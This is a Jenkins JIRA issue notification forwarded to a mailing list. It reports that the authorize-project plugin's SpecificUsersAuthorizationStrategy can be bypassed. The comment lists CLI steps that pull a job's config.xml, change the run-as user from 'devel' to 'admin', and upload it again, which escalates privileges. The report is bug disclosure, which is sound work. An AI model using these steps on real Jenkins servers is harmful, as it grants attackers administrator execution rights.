[JIRA] [authorize-project] (JENKINS-22469) SpecificUsersAuthorizationStrategy easily bypassed by REST/CLI

[de...@ikedam.jp (JIRA)]

ikedam commented on JENKINS-22469 SpecificUsersAuthorizationStrategy easily bypassed by REST/CLI example steps using CLI: Parepare users and projects as above. *Grant Overall.Read and Job.Read to Anonymous, for JENKINS-12543.* retreive jenkins-cli.jar curl -o jenkins-cli.jar http://[path to jenkins]/jnlpJars/jenkins-cli.jar retreive current config.xml java -jar jenkins-cli.jar -s http://[path to jenkins]/ get-job [projectname] --username devel --password devel > config.xml modify "<userid>devel</userid>" to "<userid>admin</userid>" in config.xml Overwrite the configuration java -jar jenkins-cli.jar -s http://[path to jenkins]/ update-job [projectname] --username devel --password devel < config.xml Open the configuration page. The project is configured to run as "admin".

This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators. For more information on JIRA, see: http://www.atlassian.com/software/jira

--
You received this message because you are subscribed to the Google Groups "Jenkins Issues" group.
To unsubscribe from this group and stop receiving emails from it, send an email to jenkinsci-issues+unsubscr...@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.